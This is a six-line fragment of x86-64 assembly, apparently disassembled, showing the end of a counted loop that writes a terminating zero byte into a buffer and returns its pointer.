inc rax
cmp rax, 0x135
jb 0x140004690
mov byte [rcx + 0x136], 0
mov rax, rcx
ret